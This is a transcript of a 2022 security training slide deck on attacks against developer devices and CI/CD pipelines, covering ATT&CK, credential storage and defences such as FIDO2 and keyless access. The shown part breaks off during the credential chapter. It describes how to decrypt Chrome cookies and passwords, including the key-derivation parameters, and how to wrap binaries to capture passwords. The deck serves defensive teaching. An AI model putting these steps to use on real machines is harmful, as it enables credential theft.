Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Dangerous attack paths: Modern Development Environment Security - Devices and CI/CD pipelines

Dangerous attack paths: Modern Development Environment Security - Devices and CI/CD pipelines

Location: Online Training at Security Camp (Japan) 2022
Presenter: Hiroki SUEZAWA (@rung)
Hands-on Exercises: https://github.com/rung/training-devenv-security
* Japanese version is here (日本語版はこちら)

Abstract:
Over the past ten years, the development environment in which software is being developed has changed dramatically: with the spread of DevOps culture and the increased use of Cloud infrastructures, and applications are now deployed through CI/CD pipelines. In addition, development is now conducted not only in the office, but also outside the company.
In this slide, we will discuss how to attack and secure modern production environments, mainly from the perspective of client-side attacks using malware and supply-chain attacks, and explain comprehensive attack methods and measures, followed by hands-on exercises.
In hands-on exercises, You can decrypt your browser's cookie and password, and other credentials. Then you create a new CI/CD pipeline for automated deployment and Infrastructure as Code, attacking and securing them on your hand!

[Table of Contents]
Chapter 1: Introduction - The Changes in the Development Environment and the Attack paths
Understand that there is an attack path from the client side, as outlined below
- Recent trends in the development environment
- Differences in attack paths due to changes in the development environment
- Overview of targeted attacks and models of attack methods

Chapter 2: What remains for development devices
Learn what happens in a successful attack on a development device and think about what you can do as a developer to improve security
- Understanding the attack flow of targeted attacks
- Credential Access on developer devices
- Considering how to protect credentials

Chapter 3: CI/CD pipeline security
Learn about the new risky component: CI/CD pipeline, and why it is dangerous.
- Understanding CI/CD pipeline
- Understanding and practicing attacks targeting CI/CD pipeline
- Considering how to protect CI/CD and understand the limitations

[Hands-on Exercises] (https://github.com/rung/training-devenv-security)
- Preparation: Setup Google Cloud and GitHub
- Exercise 1: What credentials your PC has
- Exercise 2: Try to secure your token
- Exercise 3: Make and try continuous deployment and Infrastructure as code
- Exercise 4: CI/CD Attacks
- Exercise 5: Secure your CI/CD pipeline
We use GitHub as Source Code Management and Google Cloud as a public cloud in this exercise, but the contents of the slide can apply to others

Hiroki Suezawa (@rung)

August 12, 2022
Tweet

More Decks by Hiroki Suezawa (@rung)

Other Decks in Technology

Transcript

  1. Dangerous attack paths:
    Modern Development Environment Security
    - Devices and CI/CD pipelines
    Aug, 12th 2022
    Hiroki SUEZAWA
    v1.0.3
    Security Camp (Japan) 2022

    View Slide

  2. What you will learn
    2
    Over the past ten years, the development environment in which software is being
    developed has changed dramatically: with the spread of DevOps culture and the
    increased use of Cloud infrastructures, and applications are now deployed through
    CI/CD pipelines. In addition, development is now conducted not only in the office, but
    also outside the company.
    In this slide, we will discuss how to attack and secure modern production environments,
    mainly from the perspective of client-side attacks using malware and supply-chain
    attacks, and explain comprehensive attack methods and measures, followed by
    hands-on exercises.

    View Slide

  3. Disclaimer
    ● This slide is created for training at Security Camp (Japan) 2022
    * Security Camp (Japan) is a training program for students aged twenty-two and younger
    throughout Japan. Renowned experts at the forefront of information security industries
    work as instructors to share their insight and expertise
    ● This slide is for the cybersecurity and software engineering community

    View Slide

  4. Who am I?
    @rung
    @rung
    Hiroki SUEZAWA
    Tokyo, Japan
    /in/suezawa
    4
    ● Title
    ○ Senior Security Engineer at Mercari, Inc.
    ■ Security Engineering, Automation, DFIR
    ● Career, Presentations
    ○ https://www.suezawa.net
    ● Main interest
    ○ Infrastructure Security
    ■ Kubernetes, Container, CI/CD, Linux, Cloud
    ○ Go Language
    ● Certificate
    ○ GXPN, GREM, GDAT, OSEP, OSCP, CKS, CISSP

    View Slide

  5. Hands-On Exercises
    ● Hands-on Exercises
    ○ https://github.com/rung/training-devenv-security
    ● Contents
    ○ Preparation: Setup Google Cloud and GitHub
    ○ Exercise 1: What credentials your PC has
    ○ Exercise 2: Try to secure your token
    ○ Exercise 3: Make and try continuous deployment and Infrastructure as code
    ○ Exercise 4: Attack against CI/CD
    ○ Exercise 5: Secure your CI/CD pipeline
    ● We use GitHub as Source Code Management and Google Cloud as a public cloud in
    this exercise, but the contents of the slide can apply to others
    5

    View Slide

  6. Primary target audience
    ● Software Engineer, SRE
    ○ Engineers who develop applications or manage and operate the infrastructure
    ● Security Engineering
    ○ Security Engineers working with the above people to do security design
    Primary target audience
    Software Engineer
    SRE/Platform
    Security Engineering
    working with the above
    people
    Application
    Infrastructure
    Non-Primary target audience
    IT (Corporate
    infrastructure)
    Other security roles
    (SOC, Security Compliance, etc)
    6

    View Slide

  7. Goal
    Threat Modeling for
    architecture design
    (Microsoft)
    Improving security through
    cooperation between attackers and
    defenders perspective
    (SANS)
    7
    ● Understand attack paths through the modern
    development environment
    ● Be able to determine the level of importance for each
    item of the best practices from a development
    environment perspective.
    ● Be able to perform Threat Modeling and Security
    Design for new technologies where best practices have
    not yet been established

    View Slide

  8. Application Development Trends
    ● DevOps Culture
    ○ Practices that combine software development
    (Dev) and operations (Ops)
    ■ High deployment frequency
    ■ Short lead time for changes
    ■ Developers became involved in operations
    ○ Automation
    ■ CI (Continuous Integration)
    ■ CD (Continuous Delivery)
    ● Infrastructure as Code and GitOps trends
    ○ Manage infrastructure in code using Git
    ○ Immutable infrastructure
    ■ Instead of applying updates to existing
    servers, containers are used to rebuild each
    time and replace the container for each
    update
    8

    View Slide

  9. The scope
    This slide deals with attack methods through the development environment
    (Server-side attacks are out of scope) 9
    Scope
    High Value Asset we
    want to protect

    View Slide

  10. Agenda
    1. Introduction -
    The Changes in the Development
    Environment and the Attack paths
    2. What remains for
    development devices
    3. CI/CD pipeline security
    Understand that there is an attack path from the client side, as
    outlined below
    ● Recent trends in the development environment
    ● Differences in attack paths due to changes in the
    development environment
    ● Overview of targeted attacks and models of attack
    methods
    Learn what happens in a successful attack on a development
    device and think about what you can do as a developer to
    improve security
    ● Understanding the attack flow of targeted attacks
    ● Credential Access on developer devices
    ● Considering how to protect credentials
    10
    Learn about the new risky component: CI/CD pipeline, and
    why it is dangerous.
    ● Understanding CI/CD pipeline
    ● Understanding and practicing attacks targeting CI/CD
    pipeline
    ● Considering how to protect CI/CD and understand the
    limitations

    View Slide

  11. 1. Introduction
    The Changes in the Development Environment and the Attack paths
    11

    View Slide

  12. Agenda
    1. Introduction -
    The Changes in the Development
    Environment and the Attack paths
    2. What remains for
    development devices
    3. CI/CD pipeline security
    Understand that there is an attack path from the client side,
    as outlined below
    ● Recent trends in the development environment
    ● Differences in attack paths due to changes in the
    development environment
    ● Overview of targeted attacks and models of attack
    methods
    Learn what happens in a successful attack on a development
    device and think about what you can do as a developer to
    improve security
    ● Understanding the attack flow of targeted attacks
    ● Credential Access on developer devices
    ● Considering how to protect credentials
    12
    Learn about the new risky component: CI/CD pipeline, and
    why it is dangerous.
    ● Understanding CI/CD pipeline
    ● Understanding and practicing attacks targeting CI/CD
    pipeline
    ● Considering how to protect CI/CD and understand the
    limitations

    View Slide

  13. Development Environment covered in this slide
    13
    Scope
    ○ Single sign-on via the Web using IDaaS (Identity as a Service). Work from non-corporate
    networks
    ○ Use of Source Code Management and CI/CD pipelines
    ○ Use of Public Cloud
    High Value Asset we
    want to protect

    View Slide

  14. Examples of service components
    14
    IDaaS
    (Identity as a Service)
    Okta, OneLogin, Azure AD, Google Workspace
    Source Code
    Management
    GitHub, GitLab
    CI/CD
    GitHub Actions, GitLab CI/CD, Jenkins, CircleCI, Google Cloud
    Build, AWS CodePipeline, Spinnaker(CD), ArgoCD(CD)
    Public Cloud Amazon Web Services, Google Cloud, Microsoft Azure

    View Slide

  15. Attacks covered in this slide
    In Scope
    Client-side Attacks Spear phishing attacks to infect devices with remote control malware(RAT), etc.
    * Attacks to IT Admin are out of scope.
    Supply-chain Attacks Attacks targeting 3rd party tools and application dependencies, etc.
    Out of scope
    Server-side Attacks Attacks targeting vulnerabilities on the server side (Network, Middleware, Web
    applications, etc.) and attacks targeting web application users
    IT Admin Attacks targeting administrative privileges for IDaaS and device management
    systems, and attacks targeting misconfiguration of these systems, etc. 15
    Scope High Value Asset we
    want to protect

    View Slide

  16. 1. Introduction - The Changes in the Development Environment and the Attack paths
    1.Recent trends in the development environment
    Understand recent changes around the development environment and Why
    Development Device and CI/CD Pipeline security matters
    16

    View Slide

  17. Recent trends in the development environment
    Previous development environment
    ● Trust boundaries based on network perimeter
    ● Use of on-premise Active Directory
    ● Login to servers through the corporate network
    17

    View Slide

  18. Recent trends in the development environment
    Issues in the previous development environment
    18
    Lateral movement to other
    devices on the same
    network by exploiting
    vulnerabilities
    Intrusion into Active Directory from
    a corporate network through
    vulnerabilities or misconfigurations
    Stealing authentication
    information through relay attacks
    on the same network
    Server login with weak
    authentication methods

    View Slide

  19. Recent trends in the development environment
    Reasons for changes in the development environment
    ● Based on the above, the development environment to be handled in this project is
    assumed to be the following
    ○ Single sign-on via the Web using IDaaS (Identity as a Service). Work from
    non-corporate networks
    ○ Use of Source Code Management and CI/CD pipelines
    ○ Use of Public Cloud
    Changes in the
    business
    environment
    ● SaaS(Software as a Service): Assets moved outside the
    company
    ● Work environment: Started working outside offices
    Changing Threats ● Targeted attacks need to be considered
    ● Supply-chain risks need to be considered
    Server Management ● CI/CD pipeline: Infrastructure managed in code and automated
    deployments to do fast and stable iterations
    ● Public Cloud: Software engineers are now also dealing with
    infrastructure
    19

    View Slide

  20. (Recap) Attacks covered in this slide
    In Scope
    Client-side Attacks Spear phishing attacks to infect devices with remote control malware(RAT), etc.
    * Attacks to IT Admin are out of scope.
    Supply-chain Attacks Attacks targeting 3rd party tools and application dependencies, etc.
    Out of scope
    Server-side Attacks Attacks targeting vulnerabilities on the server side (Network, Middleware, Web
    applications, etc.) and attacks targeting web application users
    IT Admin Attacks targeting administrative privileges for IDaaS and device management
    systems, and attacks targeting misconfiguration of these systems, etc. 20
    Scope High Value Asset we
    want to protect

    View Slide

  21. ● Why Development Device(Chapter 2) and CI/CD Pipeline(Chapter 3) Security Matters
    ○ Because It's possible to break into production through that attack path.
    Recent trends in the development environment
    Why Development Device and CI/CD Pipeline Security Matters
    1. Development
    environment is often the
    starting point of targeted
    attacks
    2. CI/CD is a new attack
    path leading to the
    production environment
    21
    High Value Asset we
    want to protect

    View Slide

  22. 1. Introduction - The Changes in the Development Environment and the Attack paths
    2.Differences in attack paths due to changes
    in the development environment
    Consider changes in attack paths created by changes in the development
    environment
    22

    View Slide

  23. Differences in attack paths due to changes in the development environment
    Approach to Attacks
    ● The attack concept remains the same despite a changing development environment
    ○ Attackers have a goal in mind, and they repeatedly escalate privileges, move laterally,
    and acquire credentials to spread the intrusion.
    ○ Bloodhound: A tool that draws attack paths to achieve goals (high privilege access, etc.)
    in Active Directory.
    ■ Even in environments without Active Directory, the attack concept is the same
    BloodHound – Sniffing Out the Path Through Windows Domains
    Defenders think in lists. Attackers think in
    graphs. As long as this is true, attackers win.
    - Microsoft Blog
    By searching the graph, attackers discover multiple
    paths to the High Value Asset.

    What can you do as a defender? The first step is to
    visualize your network by turning your lists into graphs.
    Next, implement controls to prune the graph
    23

    View Slide

  24. Differences in attack paths due to changes in the development environment
    (Recap) Issues in the previous development environment
    24
    Lateral movement to other
    devices on the same
    network by exploiting
    vulnerabilities
    Intrusion into Active Directory from
    a corporate network through
    vulnerabilities or misconfigurations
    Stealing authentication
    information through relay attacks
    on the same network
    Server login with weak
    authentication methods

    View Slide

  25. Differences in attack paths due to changes in the development environment
    Changes in the development environment: more attack passes to reach the goal
    ●Lateral movement through the
    Corporate network has become
    more difficult
    ●Examples of Remaining attack
    methods
    ○Lateral Movement by internal
    spear phishing attacks
    ○Abuse of file hosting service
    ○Social engineering using
    communication tools such as
    Slack
    Attack path added.
    ●Single sign-on methods have
    changed
    ●Active Directory is gone
    DevOps and Public Cloud have
    increased the opportunity for
    many developers to work
    directly with the infrastructure
    (Services and settings vary by organization)
    ●IDaaS and device management are SaaS. There is less chance
    of general vulnerabilities remaining in the infrastructure-layer
    ●Less chance of direct compromise from Non-IT Admin devices 25
    High Value Asset we
    want to protect

    View Slide

  26. 1. Introduction - The Changes in the Development Environment and the Attack paths
    3.Overview of targeted attacks and models of attack
    methods
    Understand what a targeted attack is, using a model describing the targeted
    attack life cycle
    Then, learn ATT&CK, the common language of security based on specific
    attack methods
    26

    View Slide

  27. Overview of targeted attacks and models of attack methods
    Flow of targeted attacks using RAT via spear phishing
    (Reference) Anatomy of an APT attack: Step by step approach - Infosec Resources
    27
    Attacker
    1.Reconnaissance
    2.Initial Foothold
    3.Lateral Movement
    Spear Phishing
    C2 Server
    C2: Command & Control
    4. Exfiltration
    Device
    Data of Interest

    View Slide

  28. Overview of targeted attacks and models of attack methods
    Supply chain attacks targeting 3rd party tools and software dependencies
    ● Dependence on 3rd party tools and software in all phases
    ● If one of the dependencies is violated, the system can be breached
    ● Software has a large number of dependencies (Example: Dependencies on kubernetes) 28
    2021:
    CodeCov bash uploader hacked
    PHP.net hacked
    PyPI.org’s vulnerability
    Homebrew Cask’s vulnerability

    Public Cloud

    View Slide

  29. Overview of targeted attacks and models of attack methods
    Targeted Attack Life Cycle Model: Cyber Kill Chain
    29
    Objectives
    Impact
    Exfiltration
    Collection
    Access
    Lateral
    Movement
    Credential
    Access
    Execution
    Privilege
    Escalation
    Discovery
    Pivoting
    Command
    & Control
    Defense
    Evasion
    Persistence
    Exploitation
    Social
    Engineering
    Delivery
    ● Unified Cyber Kill Chain * Improved model of “Cyber Kill Chain”
    ○ A model that describes the entire targeted attack life cycle from Initial Foothold to
    Action on objectives
    ○ Attackers achieve their objectives this way by repeatedly intrusions, remotely
    controlling, laterally moving, elevating privileges, accessing credentials, etc.
    Weaponization
    Reconnaissance
    Access
    Initial Foothold - Compromised System
    Pivoting
    Network Propagation - Internal Network
    Action on objectives - Critical Asset Access

    View Slide

  30. Overview of targeted attacks and models of attack methods
    What is MITRE ATT&CK Framework?
    ● MITRE ATT&CK Framework
    ○ Knowledge base of TTP (adversary tactics, techniques, and procedures). It is
    the main framework used in this slide
    30

    View Slide

  31. ● Why MITRE ATT&CK Framework?
    Overview of targeted attacks and models of attack methods
    What is MITRE ATT&CK Framework?
    ATT&CK succinctly organizes adversary tactics and techniques along
    with providing a common language used across security disciplines.
    MITRE ATT&CK: Design and Philosophy
    ● Because it can be used as a “Common Language”
    ○ Each role in a Security organization can use it as a common
    language
    ○ (From actual experience) The community is constantly updated
    and the content is concrete, so communication between
    development organizations (software engineers, SREs, etc) and
    security organizations can be based on the ATT&CK
    Cyber Threat
    Intelligence
    Detection &
    Analysis
    Threat
    Emulation
    Assessment &
    Engineering
    31

    View Slide

  32. Overview of targeted attacks and models of attack methods
    What is MITRE ATT&CK Framework? (Tactics)
    Reconnaissance The adversary is trying to gather information they can use to plan future operations.
    Resource Development The adversary is trying to establish resources they can use to support operations.
    Initial Access The adversary is trying to get into your network.
    Execution The adversary is trying to run malicious code.
    Persistence The adversary is trying to maintain their foothold.
    Privilege Escalation The adversary is trying to gain higher-level permissions.
    Defense Evasion The adversary is trying to avoid being detected.
    Credential Access The adversary is trying to steal account names and passwords.
    Discovery The adversary is trying to figure out your environment.
    Lateral Movement The adversary is trying to move through your environment.
    Collection The adversary is trying to gather data of interest to their goal.
    Command and Control The adversary is trying to communicate with compromised systems to control them.
    Exfiltration The adversary is trying to steal data.
    Impact The adversary is trying to manipulate, interrupt, or destroy your systems and data.
    List of Tactics
    32

    View Slide

  33. Overview of targeted attacks and models of attack methods
    What is MITRE ATT&CK Framework? (Technique)
    Matrix is available for multiple platforms
    Image: MITRE ATT&CK Defender™ (MAD) ATT&CK® Fundamentals Badge Training
    Tactic contains Technique
    33

    View Slide

  34. Overview of targeted attacks and models of attack methods
    What is MITRE ATT&CK Framework? (Techniques, Mitigation and Detection)
    ● Techniques, Mitigation and Detection
    Home > Techniques > Enterprise > Unsecured Credentials 34

    View Slide

  35. Overview of targeted attacks and models of attack methods
    What is MITRE ATT&CK Framework? (Groups)
    ● (Reference) Groups
    Home > Groups 35

    View Slide

  36. Overview of targeted attacks and models of attack methods
    Why MITRE ATT&CK is important
    ● By understanding the overall attack paths and specific TTPs, it is possible to
    understand how each countermeasure specifically mitigates the attack
    ● Example of use: Considering Kubernetes Security is based on ATT&CK's Container
    Matrix and ATT&CK-like matrix
    ○ Security: consider and implement specific defenses and monitoring
    ■ Security can collaborate better with other security roles and SRE using
    concrete information and reasons
    ○ SRE: Consider and implement architecture and configuration
    ■ SREs can also collaborate better with security teams by understanding
    the big picture of attacks
    36

    View Slide

  37. Overview of targeted attacks and models of attack methods
    (Reference) Principles of Security
    ● The goal of security measures is not to "make attacks impossible," but to "reduce risk to an
    acceptable level.
    ○ Increase the difficulty of achieving the attacker's objectives throughout the attack lifecycle
    ○ Usability is also important
    ● Prevention is not the only method to reduce risk. Even when prevention is not possible, other
    methods can reduce risk.
    ○ Prevention - may affect existing environments
    ○ Detection - can be performed without impact
    ● Other important concepts
    ○ Defence in Depth
    ■ Based on the assumption of intrusion, Layered countermeasures without creating a
    Single Point of Failure.
    ○ Least Privilege
    ○ Secure by default
    ■ When mechanisms can be created to make the secure by default, developers will
    choose the secure option without hesitation.
    37

    View Slide

  38. Summary of Chapter 1
    ● Recent trends in the development environment
    ○ We understood recent changes around the development environment and
    Why Development Device and CI/CD Pipeline security matters
    ● Differences in attack paths due to changes in the development environment
    ○ We considered changes in attack paths created by changes in the
    development environment
    ○ We learned that even though the environment changes, the idea of attack
    remains the same.
    ● Overview of targeted attacks and models of attack methods
    ○ We learned about targeted attacks via spear phishing and supply chain
    attacks, and then understood the specific steps of the attacks using the Unified
    Cyber Kill Chain.
    ○ We learned the contents of the ATT&CK framework, which is a common
    language
    38

    View Slide

  39. Hands-on Exercises: Preparation: Setup Google Cloud and GitHub
    ● Please perform the following exercise
    ○ https://github.com/rung/training-devenv-security/tree/main/0-preparation
    ■ * Exercises do not cover IDaaS

    View Slide

  40. 2. What remains for development devices
    40

    View Slide

  41. Agenda
    1. Introduction -
    The Changes in the Development
    Environment and the Attack paths
    2. What remains for
    development devices
    3. CI/CD pipeline security
    Understand that there is an attack path from the client side, as
    outlined below
    ● Recent trends in the development environment
    ● Differences in attack paths due to changes in the
    development environment
    ● Overview of targeted attacks and models of attack
    methods
    Learn what happens in a successful attack on a development
    device and think about what you can do as a developer to
    improve security
    ● Understanding the attack flow of targeted attacks
    ● Credential Access on developer devices
    ● Considering how to protect credentials
    41
    Learn about the new risky component: CI/CD pipeline, and
    why it is dangerous.
    ● Understanding CI/CD pipeline
    ● Understanding and practicing attacks targeting CI/CD
    pipeline
    ● Considering how to protect CI/CD and understand the
    limitations

    View Slide

  42. This chapter’s scope
    ● Developer's devices, which are often the starting point for targeted attacks, are the scope
    of this chapter.
    ○ Based on the assumption of intrusion, Consider what can be stolen from a device
    Initial access, privileges
    escalation, information
    collection, lateral
    movement, credential
    access, and exfiltration are
    performed
    42
    High Value Asset we
    want to protect

    View Slide

  43. 2. What remains for development devices
    1.Understanding the attack flow of targeted attacks
    Based on the ATT&CK framework learned in the previous chapter, understand
    the attack flow when a device is compromised
    43

    View Slide

  44. Understanding the attack flow of targeted attacks
    (Recap) Flow of targeted attacks using RAT via spear phishing
    (Reference) Anatomy of an APT attack: Step by step approach - Infosec Resources
    44
    Attacker
    1.Reconnaissance
    2.Initial Foothold
    3.Lateral Movement
    Spear Phishing
    C2 Server
    C2: Command & Control
    4. Exfiltration
    Device
    Data of Interest

    View Slide

  45. Understanding the attack flow of targeted attacks
    ATT&CK for development devices
    Recon Initial Access Execution Post Exploitation
    Tactics (Example) techniques (Example)
    Persistence Scheduled Task/Job
    Privilege Escalation Valid Accounts
    Defense Evasion Deobfuscate/Decode Files or
    Information
    Credential Access Steal Web Session Cookie
    Discovery Browser Bookmark Discovery
    Lateral Movement Internal Spearphishing
    Collection Browser Session Hijacking
    Exfiltration Exfiltration Over C2 Channel
    45
    Windows Matrix

    View Slide

  46. ● Command & Control
    ○ Remote control malware(RAT) communicates with the
    C2 server to perform operations
    ■ List of C2 frameworks: The C2 Matrix
    Understanding the attack flow of targeted attacks
    Command & Control (C2)
    Supplemental information
    Notable Post-Exploitation tools: Metasploit, Empire, etc.
    C2 framework: Covenant, etc.
    Device
    (Victim)
    Attacker
    direct communication
    in-direct communication
    for Defense Evasion
    46
    * C3

    View Slide

  47. Understanding the attack flow of targeted attacks
    What can be stolen from a device
    ● Credential Access
    ○ Access to passwords and web sessions
    stored on the device
    ● Collection
    ○ Collection of data stored locally or on
    web file sharing, chat services such as
    Slack, etc.
    This chapter focuses on Credential Access
    because it leads directly to production.
    Windows Matrix
    47

    View Slide

  48. 2. What remains for development devices
    2.Credential Access on developer devices
    Understand what credentials can be stolen when developer devices are
    compromised
    48

    View Slide

  49. Credential Access on developer devices
    Consider Credential on devices
    ● Credential usage from the device perspective
    Device
    Web Browser
    Services
    (GitHub, Public Cloud,
    etc.)
    * Single sign-on mechanism is out of scope.
    Redirect
    IDaaS
    (Single sign-on)
    User logs in using Credential
    (e.g, ID, Password, 2-factor authentication)
    Issuing a cookie for session management
    (GitHub, etc)
    services issue cookies to manage sessions
    Log in
    Credential
    Registration
    Register SSH Public Key, etc
    Issuing
    credentials
    (GitHub, Cloud Service, etc)
    49
    ● Even with strong authentication, an attack will succeed when the issued tokens are stolen.
    (Confirm it in the exercise.)
    Issuing Access Token, Static Key, etc.

    View Slide

  50. Credential Access on developer devices
    Example of credentials on devices
    Credential Example Description How it is stored locally
    Browser Cookie Cookies stored in browsers such as Chrome Symmetric key encryption(AES) using OS
    security mechanism (DPAPI/Keychain)
    Browser Password
    Manager
    Passwords stored in browsers such as Chrome Symmetric key encryption(AES) using OS
    security mechanism (DPAPI/Keychain)
    Browser Local Storage Local Storage stored in browsers such as Chrome Plain text
    SSH Private Key A SSH private key tied to a public key registered with GitHub, etc Plain text or encryption by passphrase
    PGP Signing Key A PGP private key tied to a public key registered with GitHub, etc Plain text or encryption by passphrase
    GitHub Token Token issued by GitHub Plain text
    Public Cloud Long-term
    Access Key
    Long-term keys issued by Public Cloud such as AWS, GCP and
    Azure
    Plain text
    Public Cloud Temporary
    Token
    Long-term keys issued by Public Cloud such as AWS, GCP and
    Azure
    Plain text
    Credentials in Password
    Manager
    Credentials in password managers such as 1Password and
    Lastpass
    They can store ID/Password, SSH Key, tokens, TOTP(Google
    Authenticator) seed, etc.
    (Depends on the service)
    Encryption using a combination of OS security
    mechanisms (DPAPI/Keychain, etc) and
    passwords.
    50

    View Slide

  51. Credential Access on developer devices
    Chrome’s Threat Model
    ● Attacks on local machines are considered outside the scope of Chrome's Threat
    Model
    Why aren‘t physically-local attacks in Chrome’s threat model?

    We consider these attacks outside Chrome's threat model, because there is no way for Chrome (or any
    application) to defend against a malicious user who has managed to log into your device as you, or who can
    run software with the privileges of your operating system user account…
    Why aren‘t compromised/infected machines in Chrome’s threat model?
    Although the attacker may now be remote, the consequences are essentially the same as with physically-local
    attacks. The attacker's code, when it runs as your user account on your machine, can do anything you can do.
    (See also Microsoft's Ten Immutable Laws Of Security.)...
    Chromium Docs - Chrome Security FAQ
    51

    View Slide

  52. Credential Access on developer devices
    Chrome's profile directory
    ● Chrome's profile directory
    Cookies
    or /Network/Cookies
    Format: SQLite3
    Encryption: AES (GCM or CBC) encryption (using OS security mechanisms)
    (Reference): Related pages at ATT&CK
    History Format: SQLite3
    Encryption: None
    Local Storage/ Format: LevelDB
    Encryption: None
    * Some web sites store access tokens in Local Storage
    Login Data Format: Password
    Format: SQLite3
    Encryption: AES (GCM or CBC) encryption (using OS security mechanisms)
    (Reference): Related pages at ATT&CK
    * Local applications built with Electron also have a similar directory structure because it uses Chromium.
    52
    ● Chrome cookies can also be stolen without a password using Remote Debugger.
    And they can also be obtained by memory dumps, etc.。

    View Slide

  53. ● (Phishing) Phishing attacks through fake login pages to steal credentials for
    authentication
    ● (After malware infection) Wrap executable files with scripts
    ○ Steal the plaintext password by having the user enter the password into a
    wrapped script
    Credential Access on developer devices
    Other Examples of Credential Theft
    ID, Password, TOTP Token, etc ID, Password, TOTP Token, etc
    Login Successful
    fake login pages real login page
    Device
    53
    SSH
    git
    gpg
    Enter password
    Upload
    Real
    executables

    View Slide

  54. Credential Access on developer devices
    Exercise 1: What credentials your PC has
    ● Perform the following exercises
    ○ https://github.com/rung/training-devenv-security/tree/main/1-exercise1
    ● Goal
    ○ Understand what credentials your PC has
    ● Exercise
    ○ Investigate Chrome's profile
    ○ Check GitHub's credentials
    ○ Check Google Cloud's credentials
    ○ Check SSH Key
    ● Additional Exercise (No procedure)
    ○ Investigate other tokens
    ■ Password Manager(such as 1Password, Lastpass)
    ■ Local Application(Slack, etc)
    ■ Other public cloud services
    54

    View Slide

  55. Credential Access on developer devices
    (Reference) How to decrypt Chrome’s Cookie and Password file
    55
    Windows Mac
    https://github.com/rung/HackChromeData
    1. Extract Symmetric key
    Local State
    (Encrypted symmetric key) DPAPI
    Application symmetric key
    Application
    Keychain
    (Chrome Safe
    Storage)
    Local Password
    Seed
    Symmetric key = PBKDF2(Seed, "saltysalt", 1003, 16, sha1.New)
    2. Decrypt Cookie and Password
    The symmetric key can decrypt Cookie and Password.
    Windows: AES-GCM
    Mac: AES-CBC
    Cookie, Password(Login Data)
    SQLite3 Format
    ● Decrypt Chrome Cookie and Password

    View Slide

  56. 2. What remains for development devices
    3.Consider how to protect credentials
    We have seen in the previous section that many Credentials exist in the
    development devices. We will then consider what can be done to reduce the
    risk of attacks
    56

    View Slide

  57. Consider how to protect credentials
    Types of Credentials
    ● Separate types of Credentials in the devices
    ○ Credential required for authentication
    ■ ID/Password
    ■ TOTP Seeds or client certificates in Password Manager
    ○ Credential to be issued or registered after initial-authentication
    ■ Cookies stored in the browser
    ■ GitHub Token or SSH Key
    ■ Public Cloud Token/Key
    57

    View Slide

  58. Consider how to protect credentials
    Credential required for authentication
    ● How to protect authentication
    ○ Use authentication based on mechanisms such as WebAuthn that are not stolen over the
    network and bind to the origin (Reference)
    ■ External Authenticator(Security Key), On-Device Authenticator(Touch ID, etc)
    ● Strength of two-factor authentication


    Type Password Cracking Resistant
    (Brute force/Credential
    Stuffing)
    Phishing Resistant Hardware-Protected
    * Prevention of private key
    extraction
    Password Only Weak Weak Weak
    TOTP (e.g. Google Authenticator) Strong Weak Weak
    SMS / Voice / Email Strong Weak Weak
    Push Verification Strong Moderate Strong
    FIDO2(e.g. Security Key, Windows
    Hello and Touch/Face ID)
    Strong Strong Strong
    58
    * Some of the above table may have exceptions
    depending on implementation.

    View Slide

  59. Consider how to protect credentials
    (Reference) Google’s research
    Google Online Security Blog: New research: How effective is basic account hygiene at preventing hijacking (2019)
    59

    View Slide

  60. Consider how to protect credentials
    (Reference) Additional protection for authentication
    ● Single sign-on protection in addition to two-factor authentication
    Type Examples of Effectiveness
    TPM-based device authentication
    tied to inventory
    Effectiveness against attacks: Prevent login from attacker's device and phishing attacks
    Internal Controls: Prevent Bring-Your-Own-Device and log-in from devices not tied to the
    user
    Authentication tied to device
    security status, etc.
    Effectiveness against attacks: Increase difficulty of successful initial access by attackers
    Internal Controls: prevent logins from terminals that have not been updated or do not have
    EDR/Antivirus software
    Risk-based authentication
    (location, login activity, etc.)
    Effectiveness against attacks: Reduce the probability of successful login by an attacker
    Supplemental:
    (References) corporate security controls including organization and process: CIS Controls
    * Not only technology, but also organization and processes are important from a Security perspective
    (References) "Zero Trust Architecture": Beyond Corp, Microsoft Security Guideline, etc
    * I recommend you have the attacker's perspective even if you reference those architectures
    (References) There is also a method that does not use passwords for authentication (Passwordless)
    Domains of IT and
    Security
    60

    View Slide

  61. Consider how to protect credentials
    Credential to be issued or registered after authentication
    ● Even with strong authentication, an attack will succeed when the issued tokens are stolen.
    (1/2) Examples of methods for risk mitigation
    Type Related credential types Examples of Effectiveness
    Apply least privilege All Credentials (Cookie,
    Token, Static Key, etc)
    ● Least privilege reduces the impact of the stolen
    credentials
    Grant temporary
    access
    All Credentials (Cookie,
    Token, Static Key, etc)
    ● The stolen credentials’ privileges can be revoked before
    abuses
    ● Example: Default permission is Reader, but engineer can
    get Owner for a short period of time after an approval
    ● (Reference) Promote Zero Touch Production – further
    features of Carrier | Mercari Engineering
    Set expiration date for
    issued cookies/tokens
    All Credentials (Cookie,
    Token, Static Key, etc)
    ● Stolen tokens expire and become unusable after a certain
    period of time
    Important: Force re-authentication after a certain period of time
    instead of "if there is no operation for X minutes".
    Do multi-party
    authentication
    (Require approval)
    GitHub, etc ● It will not be possible to operate with only one token.
    61

    View Slide

  62. Consider how to protect credentials
    Credential to be issued or registered after authentication
    (2/2) Examples of methods for risk mitigation
    Type Related credential types Examples of Effectiveness
    Restrict long-term
    credentials creation
    AWS Access Key,
    Google’s Service Account
    key, etc
    ● Long-term keys will not remain locally
    ● In-the-Cloud(Workload Identity, etc) and
    Cloud-to-Cloud(OIDC, etc) allow only temporary tokens
    to be used, plus the master key is not portable, so you
    can know where the tokens are used
    Add network
    restrictions
    All Credentials (Cookie,
    Token, Static Key, etc)
    ● Stolen tokens become unusable from another
    environment
    Do Security Log
    Monitoring
    All Credentials (Cookie,
    Token, Static Key, etc)
    ● Monitor suspicious activity in the environment (Security
    Monitoring domain)
    62

    View Slide

  63. Consider how to protect credentials
    How to store Credentials
    63
    ● How to store long-term Credentials (Password, Static Key, Token, SSH Key, etc.)
    ○ Basically adopt Keyless, which does not have long-term Credentials in the first place.
    ■ Adopt Keyless authentication within a Cloud and Keyless authentication between Clouds
    using OIDC (we will practice Keyless access to GCP from GitHub Actions in the next
    chapter).
    ○ How to store Credentials that cannot be Keyless
    ■ Store in Secret Manager Service on a server or in the public cloud.
    ● Hashicorp Vault, AWS Secrets Manager, Google Secrets Manager,
    ○ Audit logs can be collected and credentials can be restricted.
    ■ Store Cloud long-term keys where they will be used only, then delete them from the
    device.
    ○ (Limitations) However, there are cases where such management is not practically possible.
    ■ Combine the measures on the previous page to make it as secure as possible
    ● Least Privilege, Temporary access, multi-party auth, network restriction, etc
